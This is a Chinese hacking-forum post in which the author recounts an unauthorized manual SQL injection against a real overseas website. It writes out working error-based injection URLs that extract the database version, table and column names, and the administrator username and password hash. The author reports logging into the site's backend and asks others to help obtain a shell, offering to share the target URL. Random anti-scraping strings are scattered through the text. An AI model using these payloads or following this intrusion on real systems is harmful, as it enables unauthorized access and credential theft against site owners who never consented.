找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2692|回复: 0
打印 上一主题 下一主题

对国外站的伪静态注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-20 09:00:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
' H3 L! N7 T- ?. O- N# b0 S+ B

首先找到网站后台,加了个admin,后台出来了

; h# r+ n! e4 D2 s: l) }0 }3 G5 x# T, q

, x( `: _& \6 f$ M
: F$ i, s0 n4 d# ]5 Y. @2 c

然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
! ]) u$ E; U+ T' D( ^7 g; a0 dhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg

从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。

首先查下数据库相关信息。

www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—3 m7 ^5 }% Z, l" Y6 I7 C1 a

5 ^; H& A' Y% u4 h+ V7 _
; a  t8 s# p6 K$ W$ Y9 }, X* d3 m7 M& I% a

0 H: e( ?1 z- s5 zhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg8 X4 _# `$ O6 C8 G9 R
$ x/ `5 s. R/ ?' Z% b6 Z/ }1 V

# J' ]$ _7 ]! K8 v$ ^# f& w9 U1 [1 b, d
, e6 l' O* m; |  ~
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。

然后我们查表

http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))--

得到管理员表段frame_administrator
+ v- X' Q8 ^" \
3 w1 c7 i9 {: w+ e) L& I; e
( P# F- ]. p4 zhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg& y8 @& D0 k& r5 o" C
; C3 i9 y7 K" q8 U" J8 ?7 t
# C, }* K; b% @1 O# F8 `: P7 u% ]! O

查字段

http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--. d+ x$ i% k- z2 ~& Y6 H, C

* E& @# ?% {1 b' z1 ]' F/ ^+ J
- g9 m8 D, C$ }, N* U0 {- F  [
* Q2 I3 i' S* S5 d9 E+ ~

得到userID,userPass字段

最后

http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--! M7 C4 C& K6 @; z
( J" N$ {4 C* `- X5 i* V' B  |  U

3 L5 M0 F$ O" j8 y
( p& ?( c7 w" E$ q9 ?8 R. y

得到最终结果admin eb0a191797624dd3a48fa681d3061212

解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表